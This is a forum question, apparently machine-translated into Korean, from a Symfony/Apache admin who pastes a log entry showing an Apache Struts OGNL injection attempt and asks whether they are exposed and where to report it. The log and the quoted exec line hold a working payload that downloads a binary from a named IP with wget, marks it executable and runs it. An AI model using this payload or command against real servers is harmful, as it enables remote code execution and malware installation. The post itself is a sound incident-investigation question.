일부 Apache 로그를보고 공격으로 보이는 것을 발견했습니다.
core:error] [pid 20356] (36)File name too long: [client xxx.xxx.xxx.xxx:56856] AH00036: access to
/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).
(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).
(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().
exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop)
&&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)').getInputStream()))).
(#w.close())}/index.action failed (filesystem path '/var/www/html/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).
(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).
(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('uname --m|grep x86_64 >> ')
실행 라인은 다음과 같습니다.
exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop)
&&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)')
wget -O .loop http://111.90.158.225/d/ft64
샌드 박스에 파일 을 다운로드했으며 컴파일 된 / 이진 파일로 표시되므로 파일을 실행할 때 수행하는 작업이 확실하지 않습니다.
이 오류로부터 누구나 취약점이 있는지, 아니면 더 나은 방법으로 취약점을 조사하고 /이 공격에 대한 보안을 향상시키는 방법을 알 수 있습니까?
- Apache 2.4에서 Symfony 4 API를 실행하고 있습니다.
- 공격 시도 방법 및
.exec
명령 실행 방법을 잘 모르겠습니다.
이를 신고 할 적절한 장소가 있습니까?
http://example.com/${(#dm=@ognl.OgnlContext@....exec(...)/
하지만 만약 불확실입니다 나는 그 가정에 맞습니다. 이 로그에는의 com.opensymphony.xwork2.ActionContext.container
일부인 것으로 언급 된 내용도 표시됩니다 Apache Struts
. 저는 사용하지 않습니다Apache Struts